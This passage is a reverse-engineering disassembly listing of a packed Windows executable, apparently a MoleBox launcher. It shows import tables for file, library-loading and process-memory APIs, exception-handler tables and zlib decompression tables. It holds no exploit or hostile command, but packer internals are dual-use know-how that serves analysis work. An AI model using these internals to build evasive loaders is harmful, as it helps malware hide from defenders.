; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49EAB0	proc near		; CODE XREF: sub_48EB8D+5j
					; _4:0048EB97j
		push	ebp
		mov	ebp, esp
		push	offset aApiNopefunc ; ":API:NopeFunc"
		call	sub_4994F7
		pop	ebp
		retn
sub_49EAB0	endp ; sp-analysis failed

_4		ends

; Section 6. (virtual address 0009F000)
; Virtual size			: 00000D76 (   3446.)
; Section size in file		: 00000D76 (   3446.)
; Offset to raw	data for section: 0009F000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_5		segment	para public 'CODE' use32
		assume cs:_5
		;org 49F000h
		assume es:nothing, ss:nothing, ds:_0, fs:nothing, gs:nothing
dword_49F000	dd 77E79908h		; DATA XREF: sub_48E2E0+3ADr
					; sub_48E2E0+3B8r ...
dword_49F004	dd 77E7A5FDh		; DATA XREF: sub_48E2E0+1D9r
					; sub_48E2E0+1EDr ...
dword_49F008	dd 77E79A45h		; DATA XREF: sub_48E2E0+1A5r
					; sub_48E2E0+398r ...
dword_49F00C	dd 77E6D706h		; DATA XREF: sub_48E2E0+12Br
					; sub_48E2E0+173r ...
dword_49F010	dd 77E79881h		; DATA XREF: sub_48E2E0+1Ar
					; sub_48E2E0+108r ...
dword_49F014	dd 77E79F93h		; DATA XREF: sub_48E2E0+Ar
					; sub_48E2E0+1B0r ...
dword_49F018	dd 77F7E300h		; DATA XREF: sub_48D060+4r
					; sub_49012B+15r ...
dword_49F01C	dd 77F7E21Fh		; DATA XREF: sub_48D000+2Cr
					; sub_490036+65r ...
dword_49F020	dd 77E6C10Bh		; DATA XREF: sub_493DD0+1A1r
dword_49F024	dd 77E6E154h		; DATA XREF: sub_4981C3+114r
dword_49F028	dd 77E61A90h		; DATA XREF: sub_498494+3Ar
					; sub_498494+7Cr ...
dword_49F02C	dd 77E62050h		; DATA XREF: sub_49BDDE+3Fr
dword_49F030	dd 77E641EBh		; DATA XREF: sub_48DDBF+59r
					; sub_48DDBF+8Dr
dword_49F034	dd 77E781F9h		; DATA XREF: sub_48DA80+42r
					; sub_48DA80+14Dr ...
dword_49F038	dd 77E77405h		; DATA XREF: sub_48DA80+5Er
					; sub_48DA80+A7r
dword_49F03C	dd 77F6183Eh		; DATA XREF: sub_48DF68r
dword_49F040	dd 77E79924h		; DATA XREF: sub_48DA80+20Dr
dword_49F044	dd 77E77CCEh		; DATA XREF: sub_48DA80+DFr
					; sub_48DA80+137r ...
dword_49F048	dd 77E7C866h		; DATA XREF: sub_48DDBF+3Fr
					; sub_48DDBF+12Dr
		align 10h
dword_49F050	dd 77D46F5Bh		; DATA XREF: sub_48D15E+ADr
dword_49F054	dd 77D4B1B0h		; DATA XREF: sub_48D271+B8r
		align 10h
dword_49F060	dd 10h			; DATA XREF: sub_49CC4B+36Fr
					; sub_49CC4B+3A0r
		dd 11h,	12h, 0
		dd 8, 7, 9, 6, 0Ah, 5, 0Bh, 4, 0Ch, 3, 0Dh, 2, 0Eh, 1
		dd 0Fh,	0FFFF0000h
dword_49F0B0	dd 3, 4, 5, 6, 7, 8, 9,	0Ah, 0Bh, 0Dh, 0Fh, 11h, 13h, 17h
					; DATA XREF: sub_49E7AC+48o
		dd 1Bh,	1Fh, 23h, 2Bh, 33h, 3Bh, 43h, 53h, 63h,	73h, 83h
		dd 0A3h, 0C3h, 0E3h, 102h, 2 dup(0)
dword_49F12C	dd 8 dup(0)		; DATA XREF: sub_49E7AC+43o
		dd 4 dup(1), 4 dup(2), 4 dup(3), 4 dup(4), 4 dup(5), 0
		dd 2 dup(70h)
dword_49F1A8	dd 1, 2, 3, 4, 5, 7, 9,	0Dh, 11h, 19h, 21h, 31h, 41h, 61h
					; DATA XREF: sub_49E7AC+81o
		dd 81h,	0C1h, 101h, 181h, 201h,	301h, 401h, 601h, 801h
		dd 0C01h, 1001h, 1801h,	2001h, 3001h, 4001h, 6001h
dword_49F220	dd 4 dup(0)		; DATA XREF: sub_49E7AC+7Co
		dd 2 dup(1), 2 dup(2), 2 dup(3), 2 dup(4), 2 dup(5), 2 dup(6)
		dd 2 dup(7), 2 dup(8), 2 dup(9), 2 dup(0Ah), 2 dup(0Bh)
		dd 2 dup(0Ch), 2 dup(0Dh)
dword_49F298	dd 0FFFFFFFFh, 0	; DATA XREF: _4:0048FBB5o
		dd offset sub_48FDE4
		align 8
		dd offset loc_48FDB2+2
		dd offset loc_48FDBA
dword_49F2B0	dd 0FFFFFFFFh, 0	; DATA XREF: _4:0048FE35o
		dd offset sub_49000C
		align 10h
dword_49F2C0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_490036+5o
		dd offset sub_49012B
		align 10h
dword_49F2D0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_490252+5o
		dd offset sub_49061F
		align 10h
dword_49F2E0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_48D000+5o
		dd offset sub_48D05D
		align 10h
dword_49F2F0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4906DE+5o
; ---------------------------------------------------------------------------
		jmp	near ptr dword_4A3C04
; ---------------------------------------------------------------------------
		align 10h
dword_49F300	dd 0FFFFFFFFh, 0	; DATA XREF: sub_490818+5o
		dd offset sub_49091D
		align 10h
dword_49F310	dd 0FFFFFFFFh, 0	; DATA XREF: sub_49094C+5o
		dd offset sub_490CA7
		dd 2 dup(0)
		dd offset sub_490A93
dword_49F328	dd 0FFFFFFFFh, 0	; DATA XREF: sub_490D24+5o
		dd offset loc_490E9E
		align 8
dword_49F338	dd 0FFFFFFFFh, 0	; DATA XREF: sub_490ECD+5o
		dd offset loc_490F90
		align 8
dword_49F348	dd 0FFFFFFFFh, 0	; DATA XREF: sub_490FBF+5o
		dd offset loc_4911D1
		align 8
dword_49F358	dd 0FFFFFFFFh, 0	; DATA XREF: sub_491216+5o
		dd offset sub_491317
		align 8
dword_49F368	dd 0FFFFFFFFh, 0	; DATA XREF: sub_491421+5o
		dd offset sub_491643
		align 8
dword_49F378	dd 0FFFFFFFFh, 0	; DATA XREF: sub_491672+5o
		dd offset sub_491712
		align 8
dword_49F388	dd 0FFFFFFFFh, 0	; DATA XREF: sub_491741+5o
		dd offset loc_491829
		align 8
dword_49F398	dd 0FFFFFFFFh, 0	; DATA XREF: sub_491858+5o
		dd offset sub_491921
		align 8
dword_49F3A8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_491950+5o
		dd offset sub_4919E1
		align 8
dword_49F3B8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_491C5C+5o
		dd offset sub_491E9D
		align 8
dword_49F3C8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_492177+5o
		dd offset sub_492441
		align 8
dword_49F3D8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_49253F+5o
		dd offset sub_4928B0
		align 8
dword_49F3E8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4929D2+5o
		dd offset sub_492A8F
		align 8
dword_49F3F8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_492CC4+5o
		dd offset sub_493194
		align 8
dword_49F408	dd 0FFFFFFFFh, 0	; DATA XREF: sub_493DD0+5o
		dd offset sub_4945A2
		align 8
		dd offset loc_494354
		dd offset loc_494385
dword_49F420	dd 0FFFFFFFFh, 0	; DATA XREF: sub_494610+5o
		dd offset sub_495427
		align 10h
dword_49F430	dd 0FFFFFFFFh, 0	; DATA XREF: sub_495490+5o
		dd offset sub_49569C
		align 10h
dword_49F440	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4956D0+5o
		dd offset sub_495791
		align 10h
dword_49F450	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4957BF+5o
		dd offset sub_49587F
		align 10h
dword_49F460	dd 0FFFFFFFFh, 496388h,	49639Bh, 0 ; DATA XREF:	sub_4960D0+5o
		dd offset loc_496250
		dd offset loc_496264
dword_49F478	dd 0FFFFFFFFh, 0	; DATA XREF: sub_496456+5o
		dd offset loc_4966BB
		align 8
dword_49F488	dd 0FFFFFFFFh, 0	; DATA XREF: sub_496A41+5o
		dd offset sub_496AB3
		align 8
dword_49F498	dd 0FFFFFFFFh, 0	; DATA XREF: sub_496BD7+5o
		dd offset nullsub_1
		align 8
		dd offset loc_496F3B
		dd offset loc_496F44
		dd 2 dup(0)
		dd offset sub_496FCD
		align 10h
dword_49F4C0	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4971E1+5o
		dd offset sub_498085
		align 10h
		dd offset sub_497B7F
		dd offset sub_497B88
		dd 1, 0
		dd offset sub_497B0E
		align 8
dword_49F4E8	dd 0FFFFFFFFh, 4982E3h,	49831Dh	; DATA XREF: sub_4981C3+5o
off_49F4F4	dd offset aMoleboxLaunche ; DATA XREF: sub_499401+13r
					; sub_499C27+252r
					; "MoleBox launcher fatal error"
off_49F4F8	dd offset aAssertionFai_0 ; DATA XREF: sub_490036+B6r
					; sub_49094C+BFr ...
					; "ASSERTION failed"
off_49F4FC	dd offset aStripped	; DATA XREF: sub_490036+BEr
					; sub_49094C+C7r ...
					; "<stripped>"
dword_49F500	dd 0FFFFFFFFh, 499472h,	499476h, 0 ; DATA XREF:	sub_499436+5o
dword_49F510	dd 0FFFFFFFFh, 0	; DATA XREF: sub_499538+5o
		dd offset loc_4996FC
		align 10h
dword_49F520	dd 0FFFFFFFFh, 0	; DATA XREF: sub_499726+5o
		dd offset sub_4997AB
		align 10h
dword_49F530	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4997CA+5o
		dd offset sub_499864
		align 10h
dword_49F540	dd 0FFFFFFFFh, 499BFBh,	499BFFh, 0 ; DATA XREF:	sub_499A16+5o
dword_49F550	dd 0FFFFFFFFh, 499FE0h,	499FE4h, 0 ; DATA XREF:	sub_499EF3+5o
dword_49F560	dd 0FFFFFFFFh, 49A22Ch,	49A230h, 0FFFFFFFFh, 49A2A5h, 49A2A9h
					; DATA XREF: sub_49A18E+5o
dword_49F578	dd 0FFFFFFFFh, 0	; DATA XREF: sub_49A518+5o
		dd offset loc_49A615
		align 8
dword_49F588	dd 0FFFFFFFFh, 0	; DATA XREF: sub_49A638+5o
		dd offset sub_49A696
		align 8
dword_49F598	dd 0FFFFFFFFh, 0	; DATA XREF: sub_49A789+5o
		dd offset loc_49A89D
		align 8
dword_49F5A8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_49A8C0+5o
		dd offset loc_49A9A2
dword_49F5B4	dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0 ;	DATA XREF: sub_49ADD4+FBo
					; sub_49ADD4+15Fo ...
dword_49F5C4	dd 33696467h, 6C642E32h, 6Ch ; DATA XREF: sub_49ADD4+10Fo
					; sub_49C23E+5o ...
dword_49F5D0	dd 72657375h, 642E3233h, 6C6Ch ; DATA XREF: sub_49ADD4+123o
dword_49F5DC	dd 33656C6Fh, 6C642E32h, 6Ch, 61766461h, 32336970h, 6C6C642Eh
					; DATA XREF: sub_49A518+C2o
					; sub_49A789+6Eo ...
		dd 0
dword_49F5F8	dd 61656C6Fh, 32337475h, 6C6C642Eh, 0 ;	DATA XREF: sub_49A9C5+30o
					; sub_49AA34+6Fo ...
aSetunhandled_1	db 'SetUnhandledExceptionFilter',0 ; DATA XREF: _6:004A2254o
aCreatefilea_1	db 'CreateFileA',0
aCreatefilew_0	db 'CreateFileW',0
aReadfile_1	db 'ReadFile',0
		align 4
aClosehandle_1	db 'CloseHandle',0      ; DATA XREF: _6:004A228Co
aSetfilepoint_1	db 'SetFilePointer',0   ; DATA XREF: _6:004A2294o
		align 4
aGetfilesize_1	db 'GetFileSize',0      ; DATA XREF: _6:004A229Co
aExitprocess_1	db 'ExitProcess',0      ; DATA XREF: _6:004A22A4o
aCreatefilema_2	db 'CreateFileMappingA',0 ; DATA XREF: _6:004A22ACo
		align 10h
aCreatefilema_3	db 'CreateFileMappingW',0 ; DATA XREF: _6:004A22B4o
		align 4
aLoadlibrarya_0	db 'LoadLibraryA',0     ; DATA XREF: _6:004A22D4o
		align 4
aLoadlibraryw	db 'LoadLibraryW',0     ; DATA XREF: _6:004A22DCo
		align 4
aLoadlibrarye_0	db 'LoadLibraryExA',0   ; DATA XREF: _6:004A22E4o
		align 4
aLoadlibraryexw	db 'LoadLibraryExW',0   ; DATA XREF: _6:004A22ECo
		align 4
aFreelibrary_0	db 'FreeLibrary',0      ; DATA XREF: _6:004A22CCo
aGetprocaddre_0	db 'GetProcAddress',0   ; DATA XREF: _6:004A22F4o
		align 10h
aLoadimagea_0	db 'LoadImageA',0       ; DATA XREF: _6:004A23DCo
		align 4
aMapviewoffil_0	db 'MapViewOfFile',0    ; DATA XREF: _6:004A22BCo
		align 4
aUnmapviewoff_0	db 'UnmapViewOfFile',0  ; DATA XREF: _6:004A22C4o
aGetfileattri_2	db 'GetFileAttributesA',0
		align 10h
aGetfileattri_3	db 'GetFileAttributesW',0
		align 4
aGetfileattri_4	db 'GetFileAttributesExW',0
		align 4
aGetmodulehan_0	db 'GetModuleHandleA',0 ; DATA XREF: _6:004A2354o
		align 10h
aGetmodulehan_1	db 'GetModuleHandleW',0 ; DATA XREF: _6:004A235Co
		align 4
aGetmodulefil_0	db 'GetModuleFileNameA',0 ; DATA XREF: _6:004A23ACo
		align 4
aGetmodulefil_1	db 'GetModuleFileNameW',0 ; DATA XREF: _6:004A23B4o
		align 4
aGetlongpathn_1	db 'GetLongPathNameA',0 ; DATA XREF: _6:004A23BCo
		align 10h
aGetlongpathn_2	db 'GetLongPathNameW',0 ; DATA XREF: _6:004A23C4o
		align 4
aSearchpathw	db 'SearchPathW',0      ; DATA XREF: sub_49B226+B2o
					; _6:004A2364o
aSearchpatha_0	db 'SearchPathA',0      ; DATA XREF: sub_49B1C7+Do
					; _6:004A236Co
aAddfontresou_0	db 'AddFontResourceA',0 ; DATA XREF: sub_49C23E+Ao
					; _6:004A23CCo
		align 10h
aRemovefontre_0	db 'RemoveFontResourceA',0 ; DATA XREF: sub_49C277+Ao
					; _6:004A23D4o
aFindfirstfil_1	db 'FindFirstFileA',0   ; DATA XREF: _6:004A22FCo
		align 4
aFindfirstfilew	db 'FindFirstFileW',0   ; DATA XREF: sub_49B361+92o
					; _6:004A2304o
		align 4
aFindclose_1	db 'FindClose',0        ; DATA XREF: _6:004A2314o
		align 10h
aFindnextfile_1	db 'FindNextFileA',0    ; DATA XREF: _6:004A231Co
		align 10h
aFindnextfilew	db 'FindNextFileW',0    ; DATA XREF: sub_49B657+2Eo
					; _6:004A2324o
		align 10h
aFindfirstfilee	db 'FindFirstFileExW',0 ; DATA XREF: sub_49B4AA+92o
					; _6:004A230Co
		align 4
a_lopen		db '_lopen',0           ; DATA XREF: sub_49C636+25o
					; _6:004A2334o
		align 4
aOpenfile	db 'OpenFile',0         ; DATA XREF: sub_49C582+93o
					; _6:004A232Co
		align 4
a_lread		db '_lread',0           ; DATA XREF: sub_49C711+27o
					; _6:004A2344o
		align 10h
a_llseek	db '_llseek',0          ; DATA XREF: sub_49C6CC+20o
					; _6:004A234Co
a_lclose	db '_lclose',0          ; DATA XREF: sub_49C677+23o
					; _6:004A233Co
aCocreateinstan	db 'CoCreateInstance',0 ; DATA XREF: sub_49A518+C7o
					; _6:004A23E4o
		align 4
aCocreateinst_0	db 'CoCreateInstanceEx',0 ; DATA XREF: sub_49A789+73o
					; _6:004A23ECo
		align 4
aCogetclassobje	db 'CoGetClassObject',0 ; DATA XREF: sub_49A8C0+ACo
					; _6:004A23F4o
		align 4
aGetprivatepr_2	db 'GetPrivateProfileStringA',0 ; DATA XREF: _6:004A2374o
		align 4
aGetprivatepr_3	db 'GetPrivateProfileIntA',0 ; DATA XREF: _6:004A237Co
		align 10h
aGetprivatepr_4	db 'GetPrivateProfileSectionNamesA',0 ; DATA XREF: _6:004A2384o
		align 10h
aGetprivatepr_5	db 'GetPrivateProfileSectionA',0 ; DATA XREF: _6:004A238Co
		align 4
aGetfileinfor_0	db 'GetFileInformationByHandle',0 ; DATA XREF: _6:004A2394o
		align 4
aLockfile_0	db 'LockFile',0         ; DATA XREF: _6:004A239Co
		align 4
aLockfileex	db 'LockFileEx',0
		align 10h
aUnlockfile_0	db 'UnlockFile',0       ; DATA XREF: _6:004A23A4o
		align 4
aUnlockfileex	db 'UnlockFileEx',0
		align 4
aGetrecordinf_0	db 'GetRecordInfoFromGuids',0 ; DATA XREF: sub_49AA34+D2o
					; _6:004A23FCo
		align 4
aGetrecordinfof	db 'GetRecordInfoFromTypeInfo',0 ; DATA XREF: sub_49A9C5+35o
		align 10h
aLoadregtypelib	db 'LoadRegTypeLib',0   ; DATA XREF: sub_49AB3C+84o
					; _6:004A2404o
		align 10h
aLoadtypelib	db 'LoadTypeLib',0      ; DATA XREF: sub_49AA34+74o
					; sub_49AB3C+4Fo
		align 10h
dword_49FA00	dd 0FFFFFFFFh, 49B115h,	49B119h, 0FFFFFFFFh, 49B129h, 49B12Dh
					; DATA XREF: sub_49B0C8+5o
		dd 0FFFFFFFFh, 49B14Ah,	49B14Eh, 0FFFFFFFFh, 49B15Eh, 49B162h
		dd 0FFFFFFFFh, 49B183h,	49B187h, 0FFFFFFFFh, 49B197h, 49B19Bh
dword_49FA48	dd 0FFFFFFFFh, 0	; DATA XREF: sub_49B226+5o
		dd offset loc_49B311
		align 8
dword_49FA58	dd 0FFFFFFFFh, 0	; DATA XREF: sub_49B361+5o
		dd offset sub_49B480
		align 8
dword_49FA68	dd 0FFFFFFFFh, 0	; DATA XREF: sub_49B4AA+5o
		dd offset sub_49B5D5
		align 8
dword_49FA78	dd 0FFFFFFFFh, 0	; DATA XREF: sub_49B7DD+5o
		dd offset sub_49B886
		align 8
dword_49FA88	dd 0FFFFFFFFh, 0	; DATA XREF: sub_49B8AA+5o
		dd offset sub_49B9C8
		align 8
dword_49FA98	dd 0FFFFFFFFh, 0	; DATA XREF: sub_49BB3D+5o
		dd offset sub_49BC33
		align 8
dword_49FAA8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_49BEAA+5o
		dd offset loc_49BF44
		align 8
dword_49FAB8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_49BFC6+5o
		dd offset sub_49C052
		align 8
dword_49FAC8	dd 0FFFFFFFFh, 49C0E2h,	49C0E6h, 0FFFFFFFFh, 0 ; DATA XREF: sub_49C076+5o
		dd offset sub_49C15D
dword_49FAE0	dd 0FFFFFFFFh, 49C1C4h,	49C1C8h, 0 ; DATA XREF:	sub_49C18D+5o
dword_49FAF0	dd 0FFFFFFFFh, 0	; DATA XREF: _4:0049C303o
		dd offset sub_49C3B1
dword_49FAFC	dd 0			; DATA XREF: sub_48DA80+57o
					; sub_48DDBF+52o
dword_49FB00	dd 2 dup(0)		; DATA XREF: sub_48DA80+36o
					; sub_48DDBF+39o
dword_49FB08	dd 0FFFFFFFFh, 48DB90h,	48DB94h, 0FFFFFFFFh, 48DC44h, 48DC48h
					; DATA XREF: sub_48DA80+5o
dword_49FB20	dd 0FFFFFFFFh, 48DEB8h,	48DEBCh, 9FB68h, 2 dup(0) ; DATA XREF: sub_48DDBF+5o
		dd 9FCB8h, 9F000h, 9FBB8h, 2 dup(0)
		dd 9FCEEh, 9F050h, 5 dup(0)
		dd 9FBC4h, 9FBE0h, 9FBF2h, 9FBFEh, 9FC10h, 9FC1Eh, 9FC32h
		dd 9FC4Ah, 9FC62h, 9FC76h, 9FC86h, 9FC9Ch, 9FD52h, 9FD42h
		dd 9FD32h, 9FCFAh, 9FD06h, 9FD1Ch, 9FD64h, 0
		dd 9FCC6h, 9FCD8h, 0
		db  19h
		db 2, 49h, 6Eh
aItializecrit_0	db 'itializeCriticalSection',0
		dd 65470198h, 6F725074h, 64644163h, 73736572h, 2520000h
		dd 61636F4Ch, 6572466Ch, 29B0065h, 73696152h, 63784565h
		dd 69747065h, 6E6Fh, 6F4C024Eh,	416C6163h, 636F6C6Ch, 1770000h
		dd 4D746547h, 6C75646Fh, 6E614865h, 41656C64h, 2470000h
aLeavecritica_0	db 'LeaveCriticalSection',0
		align 2
aP_0		db '',0
aEntercritica_1	db 'EnterCriticalSection',0
		align 2
		dw 1ADh
aGetshortpathna	db 'GetShortPathNameA',0
		dw 2C5h
aResumethread	db 'ResumeThread',0
		align 2
		dw 39Dh
aWriteprocessme	db 'WriteProcessMemory',0
		align 4
		db 90h
		db 1, 47h, 65h
aTprivateprofil	db 'tPrivateProfileSectionA',0
aKernel32_dll_2	db 'KERNEL32.dll',0
		align 2
aO_1		db '',0
aDefwindowpro_0	db 'DefWindowProcA',0
		align 4
		db    2
		align 2
aAdjustwindowre	db 'AdjustWindowRectEx',0
		align 2
aUser32_dll_1	db 'USER32.dll',0
		align 2
		retf	5202h
; ---------------------------------------------------------------------------
aTlunwind	db 'tlUnwind',0
		dw 387h
aWidechartomu_1	db 'WideCharToMultiByte',0
		db  6Bh	; k
		db 2, 4Dh, 75h
aLtibytetowid_0	db 'ltiByteToWideChar',0
		dw 23Ah
aLcmapstringa_0	db 'LCMapStringA',0
		align 2
		dw 23Bh
aLcmapstringw_0	db 'LCMapStringW',0
		align 2
		dw 1B2h
aGetstringtypea	db 'GetStringTypeA',0
		align 4
		dd 654701B5h, 72745374h, 54676E69h, 57657079h
		db 2 dup(0)
_5		ends

; Section 7. (virtual address 000A0000)
; Virtual size			: 00007110 (  28944.)
; Section size in file		: 00007110 (  28944.)
; Offset to raw	data for section: 000A0000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_6		segment	para public 'CODE' use32
		assume cs:_6
		;org 4A0000h
		assume es:nothing, ss:nothing, ds:_0, fs:nothing, gs:nothing
aInvalidBitLeng	db 'invalid bit length repeat',0 ; DATA XREF: sub_49CC4B+81Do
		align 4
aTooManyLengthO	db 'too many length or distance symbols',0 ; DATA XREF: sub_49CC4B+783o
aInvalidStoredB	db 'invalid stored block lengths',0 ; DATA XREF: sub_49CC4B+6CCo
		align 10h
aInvalidBlockTy	db 'invalid block type',0 ; DATA XREF: sub_49CC4B+66Bo
		align 4
aInvalidDistanc	db 'invalid distance code',0 ; DATA XREF: sub_49D61A+4BBo
					; sub_49DBEB+23Eo
		align 4
aInvalidLiteral	db 'invalid literal/length code',0 ; DATA XREF: sub_49D61A+486o
					; sub_49DBEB+28Do
byte_4A00A8	db 31h			; DATA XREF: sub_49DF41+15r
					; sub_49E9F3+2Fo
		db 2Eh,	31h, 2Eh
		dd 34h
aNeedDictionary	db 'need dictionary',0  ; DATA XREF: sub_49E043+307o
aIncorrectDataC	db 'incorrect data check',0 ; DATA XREF: sub_49E043+230o
		align 4
aIncorrectHeade	db 'incorrect header check',0 ; DATA XREF: sub_49E043+ECo
		align 10h
aInvalidWindowS	db 'invalid window size',0 ; DATA XREF: sub_49E043+9Co
aUnknownCompres	db 'unknown compression method',0 ; DATA XREF: sub_49E043+79o
		align 10h
dword_4A0120	dd 9			; DATA XREF: sub_49E8AF+6r
dword_4A0124	dd 5			; DATA XREF: sub_49E8AF+11r
dword_4A0128	dd 760h, 100h, 800h, 50h, 800h,	10h, 854h, 73h,	752h, 1Fh
					; DATA XREF: sub_49E8AF+1Co
		dd 800h, 70h, 800h, 30h, 900h, 0C0h, 750h, 0Ah,	800h, 60h
		dd 800h, 20h, 900h, 0A0h, 800h,	0
		dd 800h, 80h, 800h, 40h, 900h, 0E0h, 750h, 6, 800h, 58h
		dd 800h, 18h, 900h, 90h, 753h, 3Bh, 800h, 78h, 800h, 38h
		dd 900h, 0D0h, 751h, 11h, 800h,	68h, 800h, 28h,	900h, 0B0h
		dd 800h, 8, 800h, 88h, 800h, 48h, 900h,	0F0h, 750h, 4
		dd 800h, 54h, 800h, 14h, 855h, 0E3h, 753h, 2Bh,	800h, 74h
		dd 800h, 34h, 900h, 0C8h, 751h,	0Dh, 800h, 64h,	800h, 24h
		dd 900h, 0A8h, 800h, 4,	800h, 84h, 800h, 44h, 900h, 0E8h
		dd 750h, 8, 800h, 5Ch, 800h, 1Ch, 900h,	98h, 754h, 53h
		dd 800h, 7Ch, 800h, 3Ch, 900h, 0D8h, 752h, 17h,	800h, 6Ch
		dd 800h, 2Ch, 900h, 0B8h, 800h,	0Ch, 800h, 8Ch,	800h, 4Ch
		dd 900h, 0F8h, 750h, 3,	800h, 52h, 800h, 12h, 855h, 0A3h
		dd 753h, 23h, 800h, 72h, 800h, 32h, 900h, 0C4h,	751h, 0Bh
		dd 800h, 62h, 800h, 22h, 900h, 0A4h, 800h, 2, 800h, 82h
		dd 800h, 42h, 900h, 0E4h, 750h,	7, 800h, 5Ah, 800h, 1Ah
		dd 900h, 94h, 754h, 43h, 800h, 7Ah, 800h, 3Ah, 900h, 0D4h
		dd 752h, 13h, 800h, 6Ah, 800h, 2Ah, 900h, 0B4h,	800h, 0Ah
		dd 800h, 8Ah, 800h, 4Ah, 900h, 0F4h, 750h, 5, 800h, 56h
		dd 800h, 16h, 8C0h, 0
		dd 753h, 33h, 800h, 76h, 800h, 36h, 900h, 0CCh,	751h, 0Fh
		dd 800h, 66h, 800h, 26h, 900h, 0ACh, 800h, 6, 800h, 86h
		dd 800h, 46h, 900h, 0ECh, 750h,	9, 800h, 5Eh, 800h, 1Eh
		dd 900h, 9Ch, 754h, 63h, 800h, 7Eh, 800h, 3Eh, 900h, 0DCh
		dd 752h, 1Bh, 800h, 6Eh, 800h, 2Eh, 900h, 0BCh,	800h, 0Eh
		dd 800h, 8Eh, 800h, 4Eh, 900h, 0FCh, 760h, 100h, 800h
		dd 51h,	800h, 11h, 855h, 83h, 752h, 1Fh, 800h, 71h, 800h
		dd 31h,	900h, 0C2h, 750h, 0Ah, 800h, 61h, 800h,	21h, 900h
		dd 0A2h, 800h, 1, 800h,	81h, 800h, 41h,	900h, 0E2h, 750h
		dd 6, 800h, 59h, 800h, 19h, 900h, 92h, 753h, 3Bh, 800h
		dd 79h,	800h, 39h, 900h, 0D2h, 751h, 11h, 800h,	69h, 800h
		dd 29h,	900h, 0B2h, 800h, 9, 800h, 89h,	800h, 49h, 900h
		dd 0F2h, 750h, 4, 800h,	55h, 800h, 15h,	850h, 102h, 753h
		dd 2Bh,	800h, 75h, 800h, 35h, 900h, 0CAh, 751h,	0Dh, 800h
		dd 65h,	800h, 25h, 900h, 0AAh, 800h, 5,	800h, 85h, 800h
		dd 45h,	900h, 0EAh, 750h, 8, 800h, 5Dh,	800h, 1Dh, 900h
		dd 9Ah,	754h, 53h, 800h, 7Dh, 800h, 3Dh, 900h, 0DAh, 752h
		dd 17h,	800h, 6Dh, 800h, 2Dh, 900h, 0BAh, 800h,	0Dh, 800h
		dd 8Dh,	800h, 4Dh, 900h, 0FAh, 750h, 3,	800h, 53h, 800h
		dd 13h,	855h, 0C3h, 753h, 23h, 800h, 73h, 800h,	33h, 900h
		dd 0C6h, 751h, 0Bh, 800h, 63h, 800h, 23h, 900h,	0A6h, 800h
		dd 3, 800h, 83h, 800h, 43h, 900h, 0E6h,	750h, 7, 800h
		dd 5Bh,	800h, 1Bh, 900h, 96h, 754h, 43h, 800h, 7Bh, 800h
		dd 3Bh,	900h, 0D6h, 752h, 13h, 800h, 6Bh, 800h,	2Bh, 900h
		dd 0B6h, 800h, 0Bh, 800h, 8Bh, 800h, 4Bh, 900h,	0F6h, 750h
		dd 5, 800h, 57h, 800h, 17h, 8C0h, 0
		dd 753h, 33h, 800h, 77h, 800h, 37h, 900h, 0CEh,	751h, 0Fh
		dd 800h, 67h, 800h, 27h, 900h, 0AEh, 800h, 7, 800h, 87h
		dd 800h, 47h, 900h, 0EEh, 750h,	9, 800h, 5Fh, 800h, 1Fh
		dd 900h, 9Eh, 754h, 63h, 800h, 7Fh, 800h, 3Fh, 900h, 0DEh
		dd 752h, 1Bh, 800h, 6Fh, 800h, 2Fh, 900h, 0BEh,	800h, 0Fh
		dd 800h, 8Fh, 800h, 4Fh, 900h, 0FEh, 760h, 100h, 800h
		dd 50h,	800h, 10h, 854h, 73h, 752h, 1Fh, 800h, 70h, 800h
		dd 30h,	900h, 0C1h, 750h, 0Ah, 800h, 60h, 800h,	20h, 900h
		dd 0A1h, 800h, 0
		dd 800h, 80h, 800h, 40h, 900h, 0E1h, 750h, 6, 800h, 58h
		dd 800h, 18h, 900h, 91h, 753h, 3Bh, 800h, 78h, 800h, 38h
		dd 900h, 0D1h, 751h, 11h, 800h,	68h, 800h, 28h,	900h, 0B1h
		dd 800h, 8, 800h, 88h, 800h, 48h, 900h,	0F1h, 750h, 4
		dd 800h, 54h, 800h, 14h, 855h, 0E3h, 753h, 2Bh,	800h, 74h
		dd 800h, 34h, 900h, 0C9h, 751h,	0Dh, 800h, 64h,	800h, 24h
		dd 900h, 0A9h, 800h, 4,	800h, 84h, 800h, 44h, 900h, 0E9h
		dd 750h, 8, 800h, 5Ch, 800h, 1Ch, 900h,	99h, 754h, 53h
		dd 800h, 7Ch, 800h, 3Ch, 900h, 0D9h, 752h, 17h,	800h, 6Ch
		dd 800h, 2Ch, 900h, 0B9h, 800h,	0Ch, 800h, 8Ch,	800h, 4Ch
		dd 900h, 0F9h, 750h, 3,	800h, 52h, 800h, 12h, 855h, 0A3h
		dd 753h, 23h, 800h, 72h, 800h, 32h, 900h, 0C5h,	751h, 0Bh
		dd 800h, 62h, 800h, 22h, 900h, 0A5h, 800h, 2, 800h, 82h
		dd 800h, 42h, 900h, 0E5h, 750h,	7, 800h, 5Ah, 800h, 1Ah
		dd 900h, 95h, 754h, 43h, 800h, 7Ah, 800h, 3Ah, 900h, 0D5h
		dd 752h, 13h, 800h, 6Ah, 800h, 2Ah, 900h, 0B5h,	800h, 0Ah
